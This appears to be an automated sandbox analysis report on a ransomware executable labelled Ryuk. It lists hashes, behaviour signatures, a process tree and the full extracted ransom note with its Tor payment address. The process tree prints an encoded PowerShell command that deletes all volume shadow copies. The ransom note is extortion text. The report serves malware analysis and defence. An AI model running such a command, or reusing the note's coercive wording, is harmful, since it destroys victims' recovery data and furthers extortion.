Overview

overview

10

Static

static

10

539a513063...86.exe

windows7_x64

10

539a513063...86.exe

windows10_x64

10

Analysis

  • max time kernel
    159s
  • max time network
    168s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 02:04

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General

  • Target

    539a513063f2e63bd8aed97d72743cb1116dc1cd650fdd395e674c73211aa086.exe

  • Size

    115KB

  • MD5

    a7fb22ce8607c5177048d423c07a7181

  • SHA1

    39edcd77f2800c460fd3540e6211a87c965e238d

  • SHA256

    539a513063f2e63bd8aed97d72743cb1116dc1cd650fdd395e674c73211aa086

  • SHA512

    54e7e21f441575af43674a4b9bdc11da608db1335f2bb74359891edaa529c07e9b87bd3f91cc07ef116fb3d490c32a2c5704b58a1cdb42d3acc7c838ac83cbed

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\jtket573t0-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension jtket573t0. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/86B7F54A3AD4037E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/86B7F54A3AD4037E Warning: secondary website can be blocked, thats why first variant much better and more available. If you have problem with connect, use strictly TOR version 8.5.5 link for download TOR version 8.5.5 here: https://filehippo.com/download_tor_browser_for_windows/ When you open our website, put the following data in the input form: Key: Sv7H6wBJFEq7lGjfBlVeNBrub6XJGDHwpu/15qZ2NdZ1CvZ8VBtusRvOqVBBLy9d /z/SQnUUYnbAWN9PEsiFrz7B2v9nORcBPdmVYRCyGEdvfJqBgQf1sVKfRHtHwUCq RTxvcrT+U8XDUx15KpL7G59Ywqqgi/HEfG++rMEcyFgqf1Sg/IJJa1WDPPTUg1Yp poZGGx6K9FPftCfUc63W3g+FA8pyg8F2AceKSYKtciBr3SyRnDf6MTulxHRn+siF BgcI5eafmnOTndar1JF7OQ9AFc5rc+DhH+pDigSVAaviyEno+YYzWVJ8giwbDQ1t sIhHAt9EzTlSDCSu7BTyxO2JjSvW7zwNJDX2d5K9INosSVTujAVTyX8Bc1PdzamO KEV9a00LdgkNLvFAXDchKjDlTHnxP4f2x2NE7StX0s6YcsIztJDFg6vLilC/ltQf 1B3trz8F27X2t2sQWZIR4tj5Aq6iTStu9tdsNhazN9a6e5V2ata/bZiCeF7vWF28 QO6VKqNL1m/YykMybWUeFfS3eg7EOJ5z07N8eYxFBeJuxFmLwV4qvq1obksKtb9O c35HVWidyDCKGMxkgvA00Eryth2inp1Bs8jrxFyKTOA9dHQD1SGT7sNoD64LwMtT 9ZFiE+NLSVs41+rzMlKhsk8WoS6PwFHXCvXrd7+1kZR2Ud9KNMK2U04J1mLIwttj i/ZrTCL/a0xT4YWMFNvgnSf3yoblmjQowsz9KVInF0vDuc2VTH2xv2J2Kee8/5DB boSOsx9wGt9EZWRons1rLJAZrPBUatkgfjTbyNP7LVhJ9C3RCCHkLNLy7sGrl+fr aJmI3WhfaDkHJl/Bj447R1Lg/A7G2D0FGhPsw2Gw34nRz97FfAGPO3cxBg5XFPPm 62YwSYv7KbqvS6Om9nwtQJtGcZkkOlmu/qb2L+U3d0Idmpva5BbxzcAtr3BIW2Js HGyuRaOoZe25ABYY3VrRgIDpcciYJH0HTf8+XITfdtPJnEN3XCWTvdy7egA1JSEz 8IkLWcBijy8jpmqmrLArmxAM8XXIJe4l0e+Xz7Tc+UozfGjImfMTl5AwyIgqAyP6 ieUvhOQKeQ/8Mx0oaMF5Uw6Yw1KtmRivOD1QPRnbikvO6dkL5w9wLVc8SrFKE6dO JLao+vwO1uTM+q3NqdYhvR1h3GrpEOS+s5CvAg3Q/xDHAoV3YonztymqhylzM8I+ ja+prDrUzdcLVFw/mtsUZGJACf5Nd0ce3Pg6LYu+jYe8OD26xvujcHQYtbnDiafm zG9iBpStD7CPI7YVduiyo1sgH4amNyLF Extension name: jtket573t0 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/86B7F54A3AD4037E

http://decryptor.cc/86B7F54A3AD4037E

https://filehippo.com/download_tor_browser_for_windows/

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 3 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 26 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\539a513063f2e63bd8aed97d72743cb1116dc1cd650fdd395e674c73211aa086.exe
    "C:\Users\Admin\AppData\Local\Temp\539a513063f2e63bd8aed97d72743cb1116dc1cd650fdd395e674c73211aa086.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4592
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:3692
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:396

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/4592-120-0x0000021274CA0000-0x0000021274CC2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4592-123-0x000002125CA80000-0x000002125CC50000-memory.dmp

      Filesize

      1.8MB

      Download

    • memory/4592-124-0x000002125CA80000-0x000002125CC50000-memory.dmp

      Filesize

      1.8MB

      Download

    • memory/4592-125-0x0000021274E50000-0x0000021274EC6000-memory.dmp

      Filesize

      472KB

      Download